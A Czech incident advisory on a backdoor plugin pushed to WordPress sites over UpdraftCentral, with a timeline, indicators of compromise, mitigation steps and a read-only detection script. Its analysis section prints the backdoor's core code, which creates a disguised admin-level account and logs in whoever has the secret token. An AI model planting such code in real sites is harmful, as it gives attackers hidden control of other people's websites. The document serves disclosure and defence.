Shrnutí
Stav k 19. říjnu 2026, poslední aktualizace 19. 10. 2026. Seznam změn je na konci článku. Text budeme doplňovat, až dostaneme odpověď od výrobce.
| Čeho se to týká | služby UpdraftCentral, jejíž klient je součástí pluginu UpdraftPlus, bezplatného i prémiového |
| Dotčené verze | všechny verze UpdraftPlus s aktivním klíčem UpdraftCentral, včetně nejnovějších 1.26.11 a 2.26.11. Připojené weby s verzemi do 1.26.4 a 2.26.4 umí útočník napadnout i bez platných klíčů (CVE-2026-10795). |
| Kolik webů | UpdraftPlus má podle wordpress.org více než 4 miliony aktivních instalací a výrobce ho označuje za nejpopulárnější plugin pro plánované zálohování na světě. U červnové chyby stejného kanálu výrobce odhadl, že klíč UpdraftCentral nebo Migrator má méně než 10 % uživatelů, tedy až kolem 400 000 webů. Kolik z nich útočník napadl, nevíme. |
| Oprava | zatím neexistuje. Útočník má platné klíče, takže aktualizace pluginu sama nepomůže. |
| Dočasné řešení | zrušit spojení s UpdraftCentral, web zkontrolovat naším skriptem a volitelně zablokovat příkazy UpdraftCentral malým mu-pluginem (postup níže). Dokud výrobce nevysvětlí příčinu, spojení znovu nevytvářejte. UpdraftPlus není třeba odinstalovat, zálohování funguje dál. |
V noci na 19. října 2026 poslal útočník z IP adresy 43.250.53.42 přes službu UpdraftCentral příkaz plugin.upload_plugin na tři naše weby s WordPressem. UpdraftCentral je služba pro vzdálenou správu webů od TeamUpdraft a její klient je zabudovaný v každé kopii pluginu UpdraftPlus. Na dvou z našich webů příkaz prošel a WordPress nainstaloval a aktivoval neznámý plugin. Na třetím selhal na oprávněních.
Chyba nebyla na naší straně. Všechny tři weby měly aktuální WordPress 7.1.3 i UpdraftPlus 2.26.11, opravený proti červnové zranitelnosti CVE-2026-10795. Útočník se do našich serverů nenabořil a nevyužil žádnou chybu v naší konfiguraci. Přišel kanálem vzdálené správy UpdraftCentral a příkazy podepsal platnými soukromými klíči dashboardu. Ty generuje a uchovává služba UpdraftCentral Cloud a na našich serverech nikdy nebyly. Kdo je má, může na každém připojeném webu bez vědomí majitele nainstalovat a spustit libovolný kód. Proto to považujeme za kritický bezpečnostní problém služby UpdraftCentral.
Kdo je ohrožen: každý web s UpdraftPlus, bezplatným i prémiovým, který je připojený k UpdraftCentral, tedy má vytvořený klíč UpdraftCentral. Klienta UpdraftCentral obsahuje každá z více než 4 milionů instalací UpdraftPlus. Weby, které k UpdraftCentral připojené nejsou, tento útok neohrožuje, protože příkazy UpdraftCentral bez klíče nepřijímají. Naše weby byly připojené k UpdraftCentral Cloud, tedy k dashboardu, který provozuje TeamUpdraft. Zda se únik týká i dashboardů UpdraftCentral hostovaných na vlastním serveru, zatím nevíme.
Nejde o zranitelnost CVE-2026-10795, o které v červnu psal Wordfence: tu měly naše weby opravenou a pokusy o její zneužití na nich selhávaly.
Plugin je backdoor. Na tajný odkaz měl vytvořit účet se zamaskovanými právy administrátora a útočníka do něj rovnou přihlásit. Autor však v kódu udělal chybu, takže backdoor nikdy nefungoval. Místo toho shodil každý požadavek na web, který nešel z cache, a WordPress nám o tom poslal e-mail. Díky tomu jsme ho našli během několika minut až hodin.
Incident jsme 19. října nahlásili TeamUpdraft a požádali je o vysvětlení, jak se klíče dostaly k útočníkovi.
Pokud máte web připojený k UpdraftCentral, považujte ho za potenciálně kompromitovaný, dokud ho neověříte. Spojení okamžitě zrušte a web zkontrolujte podle postupu níže. K 19. říjnu 2026 jsme o tomto backdooru ani o podobném útoku po červnové opravě nenašli žádnou veřejnou zmínku.
Co udělat hned
1. Zrušte spojení s UpdraftCentral
V administraci WordPressu otevřete Nastavení → UpdraftPlus Backups → karta „Advanced Tools“ → „UpdraftCentral“. Klikněte na „Manage existing keys (N)…“ a u každého klíče na „Delete…“. Pokud tam žádný klíč není, web připojený není.
S přístupem k příkazové řádce totéž udělá tento příkaz v kořenovém adresáři WordPressu:
wp option delete updraft_central_localkeysPotom web odstraňte i v dashboardu UpdraftCentral (teamupdraft.com → My account → UpdraftCentral → ••• u webu → Remove site). Samotné odstranění z dashboardu nestačí. Útočník má soukromý klíč dashboardu, takže rozhoduje smazání klíče na webu.
Spojení zatím znovu nevytvářejte. Dokud výrobce nevysvětlí, jak klíče unikly, nový klíč může skončit u útočníka stejně jako starý.
2. Ověřte, zda na webu není backdoor
Bez příkazové řádky:
- Na stejné obrazovce UpdraftCentral klikněte na „View recent UpdraftCentral log events…“. Hledejte řádky „Command received: plugin.upload_plugin“ a „probe.central.updraftplus.com“.
- V seznamu pluginů hledejte plugin s popisem „Small maintenance toolkit: keeps option storage tidy.“ a s názvem ze dvou slov a tří znaků, například „Load Stack 35C“.
- V seznamu uživatelů hledejte účet se jménem „Site Tools“ nebo s e-mailem na
@example.org.
Pokud je backdoor na webu, administrace nemusí fungovat, protože plugin shazuje každý požadavek. Pak použijte příkazovou řádku.
S příkazovou řádkou uložte náš kontrolní skript z konce článku jako check-updraftcentral.php do kořenového adresáře WordPressu a spusťte:
wp eval-file check-updraftcentral.php --skip-plugins --skip-themesSkript nic nemění, jen čte. Přepínač --skip-plugins je důležitý, protože nainstalovaný backdoor by jinak shodil i WP-CLI. Řádky [ALERT] znamenají stopy útoku, [WARN] věc ke kontrole a [OK] čistý výsledek. Záznam o přijatém příkazu ještě neznamená, že se plugin nainstaloval (na jednom z našich webů neprošel), proto skript kontroluje i soubory, volby v databázi a účty. Pokud najde cokoli s [ALERT], pokračujte částí „Co dělat, když ho najdete“.
UpdraftPlus si v logu UpdraftCentral pamatuje jen posledních 50 událostí. Na webu, kam často chodí skenery, může záznam o útoku z logu vypadnout a skript pak u logu hlásí [OK]. Pokud máte přístup k logům webového serveru, prohledejte i je (cestu upravte podle serveru, u nginx například /var/log/nginx/):
grep 'class-udrpc.php"' /var/log/apache2/*access*Příkaz najde požadavky UpdraftCentral bez verze knihovny v hlavičce User-Agent, jaké posílal útočník. Skutečný dashboard posílá class-udrpc.php/2.0; https://teamupdraft.com, takže ho příkaz nezachytí.
3. Volitelně: zablokujte příkazy UpdraftCentral úplně
Pokud chcete mít jistotu, že web neprovede žádný příkaz UpdraftCentral ani tehdy, kdyby na něm zůstal klíč, uložte do adresáře wp-content/mu-plugins/ soubor block-updraftcentral.php s tímto obsahem:
<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
http_response_code( 403 );
exit;
}Soubory v mu-plugins WordPress načítá před běžnými pluginy, takže se požadavek zastaví dřív, než ho UpdraftPlus zpracuje. Blokuje i migraci webů přes UpdraftPlus Migrator, která používá stejný kanál. Až výrobce problém vysvětlí a vyřeší, soubor smažte.
Jak jsme na to přišli
V 5:38 nám přišel automatický e-mail WordPressu: „WordPress caught an error with one of your plugins, Load Stack 35C.“ Plugin s takovým názvem jsme nikdy neinstalovali. Chybová zpráva zněla Uncaught Error: Undefined constant LoadStack35c::FIELD a náš web od 4:14 vracel na každý požadavek chybu 500.
Všechny soubory v adresáři wp-content/plugins/load-stack-35c/ měly stejný čas zápisu, 4:14:30. O sekundu později se změnil adresář wp-content/upgrade/, který WordPress používá při rozbalování instalovaných pluginů. Plugin tedy přišel přes standardní instalátor WordPressu, ne nahráním souboru na disk. V access logu přesně v té sekundě stojí jediný požadavek:
43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"class-udrpc.php je knihovna, přes kterou UpdraftPlus přijímá příkazy z UpdraftCentral. Její vlastní log (volba updraftcentral_client_log v databázi) to potvrdil: Command received: plugin.upload_plugin.
Časová osa
Weby označujeme A, B a C. Všechny časy jsou v SELČ. Všechny požadavky přišly z 43.250.53.42 (poskytovatel RedSwitches) s hlavičkou User-Agent WordPress/6.4; class-udrpc.php.
| Web | Sonda | Instalace pluginu | Výsledek |
|---|---|---|---|
| Web C | 19. 10. 0:41:32 | 6:05:31 | selhala, klíč patřil uživateli bez práva instalovat pluginy |
| Web A | 2:14:05 | 4:14:30 | backdoor „Load Stack 35C“ aktivní, web nedostupný do 6:13 |
| Web B | 2:39:44 | 6:53:49 | backdoor „Text Gantry Eb0“ aktivní, odstraněn v 6:56 |
Sonda je zpráva adresovaná neexistujícímu klíči probe.central.updraftplus.com. Web na ni odpoví, že zprávě nerozumí, a tím prozradí, že přijímá příkazy UpdraftCentral. Další příkaz už útočník poslal na skutečný klíč 0.central.updraftplus.com. Na všech třech webech proběhl útok stejně, od stejného útočníka, s odstupem několika hodin.
Jak útok proběhl
Při připojení webu k UpdraftCentral si web vygeneruje pár klíčů RSA a veřejný klíč pošle službě UpdraftCentral Cloud. Služba má vlastní pár klíčů a webu pošle jen svůj veřejný klíč. Soukromý klíč dashboardu zůstává u služby. Každý příkaz musí být zašifrovaný pro klíč webu a podepsaný soukromým klíčem dashboardu. Web ho pak provede s právy uživatele, který klíč ve WordPressu vytvořil.
Příkaz plugin.upload_plugin prošel na dvou webech celou touto kontrolou. Podrobně jsme to rozebrali na webu A a vyloučili jsme tato vysvětlení:
- Známá zranitelnost CVE-2026-10795. Týká se verzí UpdraftPlus do 1.26.4 (prémiová do 2.26.4). Naše weby měly 2.26.11. Pokusy o její zneužití vidíme na webech B a C v lozích od června z desítek IP adres a všechny skončily hláškou „Could not decrypt incoming message“.
- Upravený plugin. Soubory
class-udrpc2.php,central/bootstrap.php,central/listener.phpacentral/host.phpjsou bajt po bajtu shodné s oficiální verzí 1.26.11 z wordpress.org. - Starší formát zpráv bez podpisu. Kód ho pro klíče UpdraftCentral odmítá a záznam „Command received“ vzniká až po této kontrole.
- Podvržený klíč dashboardu. Otisky klíčů jsou stejné v denních zálohách z 15. až 18. října i v živé databázi a v access lozích nikdo nevolal funkci pro výměnu klíče.
- Slabá kryptografie. Klíč webu i dashboardu mají RSA 2048 bitů s exponentem 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, ve které je opravená známá chyba v ověřování podpisů.
- Napadený wp-admin. Neznámí administrátoři nepřibyli, kontrolní součty jádra i pluginů sedí a v lozích není žádné nahrání pluginu přes administraci.
Útočník tedy měl soukromé klíče dashboardu pro všechna tři spojení najednou. Na našich serverech tyto klíče nikdy nebyly, takže odtud uniknout nemohly. Příkazy přitom nepřišly ze serveru TeamUpdraft. Skutečný dashboard posílal na web B v březnu a dubnu 2026 příkazy s hlavičkou User-Agent:
WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.comÚtočník posílal WordPress/6.4; class-udrpc.php, bez verze knihovny a bez URL, ze svého serveru. Klíče tedy unikly z prostředí UpdraftCentral Cloud a útočník je použil mimo něj.
Jak přesně se k nim dostal, zatím nevíme. TeamUpdraft jsme požádali o vysvětlení i o záznamy přístupů k našemu účtu. Klíče pro weby B a C existovaly od listopadu 2025 a útočník je do 19. října nepoužil. Útok přišel osm dní poté, co jsme do stejného účtu přidali web A.
Na webu C útok selhal náhodou. Klíč tam v listopadu 2025 vytvořil uživatel, který už není administrátor. UpdraftCentral před instalací ověřuje, zda má vlastník klíče práva install_plugins a activate_plugins. Neměl ani jedno.
Proč jde o kritický problém UpdraftCentral
Klient UpdraftCentral je součástí každé kopie UpdraftPlus, bezplatné i prémiové. Zapne se, když majitel připojí web k dashboardu. Od té chvíle web provede každý příkaz podepsaný klíčem dashboardu s právy administrátora, který spojení vytvořil, včetně nahrání a aktivace libovolného pluginu. Majitel webu příkaz nepotvrzuje a v našem případě nás na něj nic neupozornilo. Klíče na straně webu nemají dobu platnosti: ty z listopadu 2025 fungovaly i v říjnu 2026.
Bezpečnost všech připojených webů tak stojí na jediném předpokladu, že soukromé klíče dashboardu neuniknou. Unikly, a útočník z jednoho místa během pár hodin ovládl dva weby a pokusil se o třetí. UpdraftPlus má více než 4 miliony aktivních instalací. Počtem instalací ho mezi pluginy se zálohováním na wordpress.org předbíhá jen All-in-One WP Migration (5+ milionů), který slouží hlavně k migraci webů. UpdraftCentral používá jen část uživatelů UpdraftPlus, i malý podíl ze 4 milionů však znamená hodně webů.
Stejný kanál už jednou selhal. V červnu 2026 výrobce opravil zranitelnost CVE-2026-10795 (CVSS 8.1), přes kterou mohl útočník bez přihlášení podvrhnout příkazy UpdraftCentral a nainstalovat a aktivovat škodlivý plugin. Pokusy o její zneužití zachytáváme v našich lozích dodnes.
Co přesně backdoor dělá
Plugin má pět souborů, ale logiku obsahuje jen hlavní. Tady je jeho podstatná část ze vzorku z webu A. Token a heslo jsme zkrátili:
define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' ); // 32 znaků
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' ); // 22 znaků
final class LoadStack35c {
private function __construct() {
add_action( 'init', array( $this, 'handle_sync' ), 1 );
}
public function handle_sync() {
if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
$user = get_user_by( 'login', self::SVC_LOGIN );
if ( ! $user ) {
$uid = wp_insert_user( array(
'user_login' => self::SVC_LOGIN,
'user_pass' => self::SVC_PASS,
'user_email' => self::SVC_LOGIN . '@example.org',
'display_name' => 'Site Tools',
'role' => 'editor',
) );
if ( is_wp_error( $uid ) ) return;
$u = new WP_User( $uid );
$u->add_cap( 'manage_options' );
$u->add_cap( 'install_plugins' );
$user = get_user_by( 'id', $uid );
}
wp_set_current_user( $user->ID, $user->user_login );
wp_set_auth_cookie( $user->ID, true, is_ssl() );
wp_safe_redirect( admin_url( 'index.php' ) );
exit;
}
}
}
register_activation_hook( __FILE__, function () {
if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
}
} );
LoadStack35c::instance();Takto by fungoval, kdyby v něm nebyla chyba:
- Při každém požadavku na web se zavěsí na akci
inits prioritou 1, tedy dříve než většina ostatních pluginů. - Podívá se, zda adresa obsahuje parametr
?_9f5696=, a jeho hodnotu porovná s 32znakovým tokenem. Porovnává funkcíhash_equals, která trvá stejně dlouho bez ohledu na shodu, takže token nejde uhodnout měřením času odpovědi. Bez správného tokenu se nestane nic a web se chová normálně. - Se správným tokenem vytvoří uživatele
data-ops43s heslem zapsaným v pluginu, e-mailemdata-ops43@example.orga zobrazovaným jménem „Site Tools“. - Dá mu roli Editor a k tomu dvě samostatná oprávnění:
manage_optionsainstall_plugins. - Přihlásí návštěvníka jako tohoto uživatele přes
wp_set_auth_cookies volbou „zapamatovat si mě“, tedy cookie platnou 14 dní. Přihlašovací formulář tím úplně obejde, takže na něj nepůsobí dvoufázové ověření, omezení počtu pokusů ani ochrana přihlášení ve Wordfence. - Přesměruje ho do administrace.
Role Editor se dvěma oprávněními navíc je záměr. V seznamu uživatelů se účet ukazuje jako Editor, ne Administrátor, takže při běžné kontrole adminů ho přehlédnete. Prakticky má ale plnou moc nad webem:
install_pluginsdovolí nahrát libovolný plugin. Jeho PHP soubory jde spustit přímo přes URL i bez aktivace, což znamená spuštění libovolného kódu na serveru.manage_optionszpřístupní všechna nastavení. Stačí zapnout registraci a výchozí roli nastavit na administrátora, a útočník si vytvoří plnohodnotného admina.- Editor má na běžném WordPressu i
unfiltered_html, takže může do článků vložit JavaScript, který se spustí v prohlížeči každého administrátora.
Backdoor má i druhou vrstvu. Vytvořený účet se známým heslem zůstane ve WordPressu i po odstranění pluginu a útočník se jím umí přihlásit přes běžný formulář, pokud tento účet nemá zapnuté dvoufázové ověření.
Chyba, která nás zachránila
Konstanty jsou definované funkcí define() jako globální (LOADSTACK35C_FIELD), ale kód je čte jako konstanty třídy (self::FIELD). Třída žádné konstanty nemá. PHP 8 proto při prvním vyhodnocení self::FIELD vyhodí Error: Undefined constant LoadStack35c::FIELD. Stane se to ještě před kontrolou tokenu, tedy při každém požadavku: při běžné návštěvě, v administraci, při přihlášení, v REST API, při cronu i ve WP-CLI. Web padá s chybou 500 a obsluhuje jen stránky uložené v cache.
Požadavek s instalací přitom doběhl úspěšně. UpdraftCentral zpracovává příkazy až v akci wp_loaded, která přichází po init, takže v tom požadavku se chybný kód nespustil. Útočník dostal potvrzení o úspěchu a o chybě se z odpovědi nedozvěděl. Spadly až následující požadavky.
Útočníkovi však stačí opravit pár znaků a další vlna může fungovat. Pokud u sebe najdete podobný „rozbitý“ plugin, neopravujte ho. Oprava by backdoor zapnula. Odstraňte ho.
Další detaily
- Plugin se tváří jako běžný doplněk: má úplnou hlavičku, licenci GPL,
Text Domain, popis „Small maintenance toolkit: keeps option storage tidy.“ a vymyšlené vydavatelství („PixelBinder“, „Harbor Stack Labs“). - Soubory
assets/public.css,assets/public.jsalanguages/readme.txtobsahují jen komentář. Plugin je nikde nepoužívá, jsou tam, aby adresář vypadal jako skutečný plugin. uninstall.phppři odinstalaci z administrace smaže volby<slug>_sync_tokena<slug>_setup_stamp, tedy stopy po sobě. Druhou volbu kód nikde nevytváří, je to pozůstatek šablony.- Při aktivaci uloží token do volby
<slug>_sync_tokenbez automatického načítání. Kód ji nikde nečte. - Oba vzorky vyrobil stejný generátor. Když v nich nahradíme názvy, tokeny, jména a verze zástupnými řetězci, jsou všechny soubory bajt po bajtu shodné. Název má tvar
slovo-slovo-3 hex znaky, parametr_a 6 hex znaků, uživatelslovo-slovoa dvě číslice. Token má 32 znaků a heslo 22 znaků (písmena, číslice, podtržítko).
Indikátory kompromitace
| Web A | Web B | |
|---|---|---|
| Adresář pluginu | load-stack-35c | text-gantry-eb0 |
| Název / autor / verze | Load Stack 35C / PixelBinder / 1.2.6 | Text Gantry Eb0 / Harbor Stack Labs / 3.9.5 |
| Parametr v URL | _9f5696 | _3e9caa |
| Uživatel | data-ops43 | media-staff96 |
| Volba v databázi | load_stack_35c_sync_token | text_gantry_eb0_sync_token |
| SHA-256 hlavního souboru | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f | bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801 |
SHA-256 uninstall.php | 4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0 | 4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9 |
Společné znaky:
- IP adresa
43.250.53.42, User-Agent přesněWordPress/6.4; class-udrpc.php, požadavekPOST / - v logu UpdraftCentral sonda
probe.central.updraftplus.coma o několik hodin pozdějiCommand received: plugin.upload_plugin - popis pluginu „Small maintenance toolkit: keeps option storage tidy.“
- uživatel s e-mailem na
@example.orga zobrazovaným jménem „Site Tools“, s rolí Editor a oprávněnímimanage_optionsainstall_plugins - fatální chyba
Undefined constant <Třída>::FIELDa e-mail WordPressu o chybě v pluginu, který neznáte
Co dělat, když ho najdete
- Pokud jste to ještě neudělali, zrušte spojení s UpdraftCentral podle postupu v části „Co udělat hned“. Jinak může útočník poslat opravenou verzi backdooru.
- Plugin deaktivujte a přesuňte mimo webový adresář. Pokud si ho chcete nechat jako důkaz, nemažte ho přes administraci, protože
uninstall.phpsmaže jeho volby. - Smažte volbu
<slug>_sync_token. - Zkontrolujte uživatele kontrolním skriptem níže. Pokud backdoor fungoval, tedy jeho účet existuje nebo se v access logu objevil požadavek s jeho parametrem, považujte web za plně kompromitovaný. Útočník mohl nahrát další pluginy nebo webshell a změnit soubory či databázi. Web obnovte ze zálohy z doby před útokem, porovnejte soubory s čistou instalací a projděte všechny uživatele s oprávněními navíc.
- Změňte hesla administrátorů a k účtu UpdraftCentral Cloud, ukončete všechna přihlášená sezení a zapněte dvoufázové ověření.
- Zvažte, zda vzdálenou správu potřebujete. Pokud ano, klíč vytvořte pod účtem, který nemá práva instalovat pluginy, pokud je na dálku nepotřebujete. Na webu C útok zastavila právě tato náhoda.
Kontrolní skript
Skript zkontroluje pět věcí: zda je web připojený k UpdraftCentral, co web přes UpdraftCentral přijal, zda jsou v adresářích plugins a mu-plugins soubory backdooru, zda jsou v databázi jeho volby a zda existuje jeho účet nebo jiný uživatel bez role administrátora s oprávněními manage_options či install_plugins.
Na webu A po odstranění backdooru vypíše:
[OK] No active UpdraftCentral connection.
[WARN] 2026-10-19 00:14 UTC 43.250.53.42 probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
[ALERT] 2026-10-19 02:14 UTC 43.250.53.42 "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK] No backdoor plugin files found.
[OK] No backdoor options in the database.
[OK] No backdoor accounts or hidden admin-level users.Skript si můžete stáhnout i přímo:
curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txtSHA-256 skriptu: 8e78868d970db4e0e96f1f00df90e972b39366e9fe6d4ac18b3eab9364a3175d. Celý kód:
<?php
/**
* Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
* Read-only. It changes nothing on the site.
*
* Run in the WordPress root directory:
* wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
*
* --skip-plugins matters: an installed copy of the backdoor crashes every request,
* including WP-CLI, unless plugins are skipped.
*/
$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
if ( 'ALERT' === $level ) $alerts++;
if ( 'WARN' === $level ) $warnings++;
echo str_pad( "[$level]", 8 ), $message, "\n";
};
echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";
// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
foreach ( $keys as $id => $key ) {
$report( 'WARN', sprintf(
'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
$id,
isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
) );
}
} else {
$report( 'OK', 'No active UpdraftCentral connection.' );
}
// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
$message = isset( $entry['message'] ) ? $entry['message'] : '';
$agent = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
$when = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
$ip = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
$report( 'ALERT', "$when $ip \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
$log_hits++;
} elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
$report( 'WARN', "$when $ip probe for UpdraftCentral (UA: $agent)." );
$log_hits++;
} elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
$report( 'ALERT', "$when $ip \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
$log_hits++;
}
}
if ( ! $log_hits ) $report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );
// 3. Backdoor plugins in plugins and mu-plugins.
$plugin_hits = 0;
foreach ( array( WP_PLUGIN_DIR . '/*/*.php', WPMU_PLUGIN_DIR . '/*.php' ) as $pattern ) {
foreach ( (array) glob( $pattern ) as $file ) {
$code = (string) @file_get_contents( $file, false, null, 0, 200000 );
$template = false !== strpos( $code, 'keeps option storage tidy' )
|| ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) );
if ( $template ) {
$report( 'ALERT', "Backdoor plugin file: $file" );
$plugin_hits++;
}
}
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );
// 4. Options the backdoor leaves behind.
global $wpdb;
$options = $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$'" );
foreach ( $options as $name ) $report( 'ALERT', "Backdoor option in the database: $name" );
if ( ! $options ) $report( 'OK', 'No backdoor options in the database.' );
// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
$caps = (array) get_user_meta( $user->ID, $cap_key, true );
$extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
if ( 'Site Tools' === $user->display_name || '@example.org' === substr( $user->user_email, -12 ) ) {
$report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\"" );
$user_hits++;
} elseif ( $extra && empty( $caps['administrator'] ) ) {
$report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
$user_hits++;
}
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );
echo "\n";
if ( $alerts ) {
echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
echo "RESULT: no traces found.\n";
}Proč zveřejňujeme hned
Responsible disclosure znamená dát výrobci čas na opravu a zveřejnit podrobnosti až potom. Tady na to bohužel není důvod. Útočník backdoory do instalací WordPressu už aktivně šíří a oprava od výrobce majitelům webů nepomůže, dokud má útočník platné klíče. Jediná účinná ochrana je zrušit spojení s UpdraftCentral a web zkontrolovat, a to může udělat každý správce hned.
Zveřejnění útočníkovi nepomůže. K útoku potřebuje platné klíče, které už má, a nic v tomto článku mu nedává nový způsob útoku. Obráncům naopak dává postup, jak se chránit. Backdoor navíc vyrábí generátor, který pro každý web vytvoří jiná jména, tokeny a hesla, což naznačuje nástroj určený pro velký počet webů. Každá hodina čekání dává útočníkovi čas na další weby.
Komunikace s výrobcem a bezpečnostními firmami
- 2026: hlášení TeamUpdraft přes formulář prémiové podpory s logy a analýzou pro web A
- 2026: doplnění o útoky na weby B a C, druhý vzorek a porovnání User-Agent se skutečným dashboardem
- 2026: informovali jsme Wordfence a Patchstack, aby mohli přidat detekci a varovat další správce
- Od výrobce jsme k uzávěrce odpověď nedostali. Článek doplníme.
Pokud jste podobný útok zaznamenali i vy, napište nám na info@nethemba.com. Vzorky a další technické podklady poskytneme výrobci i bezpečnostním týmům na požádání.
Aktualizace
- 2026: první zveřejnění.
- 2026: upozornění, že log UpdraftCentral uchovává jen 50 událostí, a kontrola access logu; doporučení nevytvářet spojení znovu; postup pro plně kompromitované weby; upřesnění dotčených verzí u CVE-2026-10795.


